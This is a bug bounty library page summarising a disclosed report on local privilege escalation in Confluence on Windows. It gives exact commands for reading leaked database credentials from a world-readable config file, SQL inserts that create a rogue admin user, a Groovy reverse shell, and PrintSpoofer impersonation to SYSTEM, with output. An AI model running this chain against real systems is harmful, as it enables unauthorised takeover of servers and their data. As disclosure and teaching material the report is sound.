# Local Privilege Escalation via Confluence Server

World-readable confluence.cfg.xml on Windows leaked DB creds, letting a local low-priv user insert an admin row and escalate to SYSTEM via SeImpersonate.

- Payout: $800
- Severity: medium
- Program: Atlassian
- Found by: matcluck
- Disclosed: 2024-01-04
- Write-up quality: 7/10
- Original: https://bugcrowd.com/disclosures/a1086522-37fd-4162-89b2-64dec3b05ab2/local-privilege-escalation-via-confluence-server
- Library page: https://bugbountylibrary.com/r/bc%3Ab6d6b145-6261-4936-983c-0badc86ec1ad
- Tags: area:cloud domain:infra domain:web impact:ato impact:privesc impact:rce kind:bounty platform:bugcrowd sev:medium tech:java tech:windows vuln:misconfiguration vuln:secrets-leak

**Target:** Confluence Data Center on Windows (confluence.cfg.xml, PostgreSQL backend)
**Root cause:** Out-of-the-box Confluence installs confluence.cfg.xml with permissions readable by BUILTIN\Users, exposing the hibernate DB username/password in cleartext.
**Steps:**
1. As low-priv user: `type "C:\Program Files\Atlassian\Application Data\Confluence\confluence.cfg.xml" | findstr /c:"hibernate.connection.username" /c:"hibernate.connection.password"` to read postgres creds
2. Connect: `psql -U postgres` then `\c confluence`
3. Insert admin user: `insert into cwd_user (...) values (491523,'bugcrowd',...,360449,'{PKCS5S2}...');`
4. Add memberships: `insert into cwd_membership (id,parent_id,child_user_id) values (589829,425986,491523);` and `(589830,425985,491523);`
5. Insert mapping: `insert into user_mapping (user_key,username,lower_username) values ('4028db008a893503018a89379e250003','bugcrowd','bugcrowd');`
6. Login to Confluence as bugcrowd:admin
7. Use ScriptRunner Groovy reverse shell to get command execution as Confluence process
8. `whoami /priv` shows SeImpersonatePrivilege enabled
9. Run `PrintSpoofer64.exe -i -c powershell.exe` to impersonate SYSTEM
**How found:** Noticed default install grants BUILTIN\Users read on confluence.cfg.xml, then pivoted through the DB to admin and abused the Confluence service's SeImpersonatePrivilege.
**Exploitation:** Local low-priv foothold reads DB creds from world-readable config, connects to PostgreSQL, inserts a new admin user with a known hash plus group memberships and user_mapping, logs into Confluence, uses ScriptRunner Groovy to spawn a reverse shell, then abuses SeImpersonatePrivilege via PrintSpoofer to obtain NT AUTHORITY\SYSTEM.
**Escalation:** Chained file-permission leak -> DB write -> Confluence admin -> RCE -> SeImpersonate token impersonation to SYSTEM.
**Insight:** On Windows-hosted Java apps, check ACLs on config files under 'Program Files\...\Application Data' — default installers often leave DB creds readable by Users, and the DB is a direct path to app-admin via cwd_user/cwd_membership inserts.

## Proof of concept (copied exactly from the original report)

**Reading DB credentials from world-readable config**

```
C:\Users\lowpriv>type "C:\Program Files\Atlassian\Application Data\Confluence\confluence.cfg.xml" | findstr /c:"hibernate.connection.username" /c:"hibernate.connection.password"
 <property name="hibernate.connection.password">confluence</property>
 <property name="hibernate.connection.username">postgres</property>
```

**SQL inserts to create admin user**

```
confluence=# insert into cwd_user (id, user_name, lower_user_name, active, created_date, updated_date, last_name, lower_last_name, display_name, lower_display_name, email_address, lower_email_address, external_id, directory_id, credential) values (491523, 'bugcrowd', 'bugcrowd', 'T', '2023-09-12 19:46:07.587', '2023-09-12 19:46:07.587', 'bugcrowd', 'bugcrowd', 'bugcrowd', 'bugcrowd', 'ct.celliott@gmail.com', 'ct.celliott@gmail.com', '9d9c7244-e4ad-465b-91c5-dfeaad4c39c3',360449,'{PKCS5S2}yLIYwNvu4mbhTXYF0ZE0CW/IKpG78xrakS1qlm1uuW0I506icmhxmIt+P2v5IDKu');

confluence=# select id, user_name, credential from cwd_user;
 id | user_name | credential
--------+-----------+---------------------------------------------------------------------------
 491521 | admin | {PKCS5S2}yLIYwNvu4mbhTXYF0ZE0CW/IKpG78xrakS1qlm1uuW0I506icmhxmIt+P2v5IDKu
 491522 | hacker | {PKCS5S2}yLIYwNvu4mbhTXYF0ZE0CW/IKpG78xrakS1qlm1uuW0I506icmhxmIt+P2v5IDKu
 491523 | bugcrowd | {PKCS5S2}yLIYwNvu4mbhTXYF0ZE0CW/IKpG78xrakS1qlm1uuW0I506icmhxmIt+P2v5IDKu


- Add the user to the confluence-administrators and confluence-users groups:

confluence=# select id, group_name from cwd_group;
 id | group_name
--------+---------------------------
 425985 | confluence-administrators
 425986 | confluence-users
(2 rows)

confluence=# insert into cwd_membership (id, parent_id, child_user_id) values (589829, 425986, 491523);
INSERT 0 1
confluence=# insert into cwd_membership (id, parent_id, child_user_id) values (589830, 425985, 491523);
INSERT 0 1
confluence=# select * from cwd_membership;
 id | parent_id | child_group_id | child_user_id
--------+-----------+----------------+---------------
 589825 | 425986 | | 491521
 589826 | 425985 | | 491521
 589827 | 425986 | | 491522
 589828 | 425985 | | 491522
 589829 | 425986 | | 491523
 589830 | 425985 | | 491523
(6 rows)


- Add a user mapping entry for the user:

confluence=# insert into user_mapping (user_key, username, lower_username) values ('4028db008a893503018a89379e250003', 'bugcrowd', 'bugcrowd');
```

**PrintSpoofer SYSTEM impersonation command**

```
C:\temp>PrintSpoofer64.exe -i -c powershell.exe
PrintSpoofer64.exe -i -c powershell.exe
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Windows\system32> whoami
whoami
nt authority\system
```

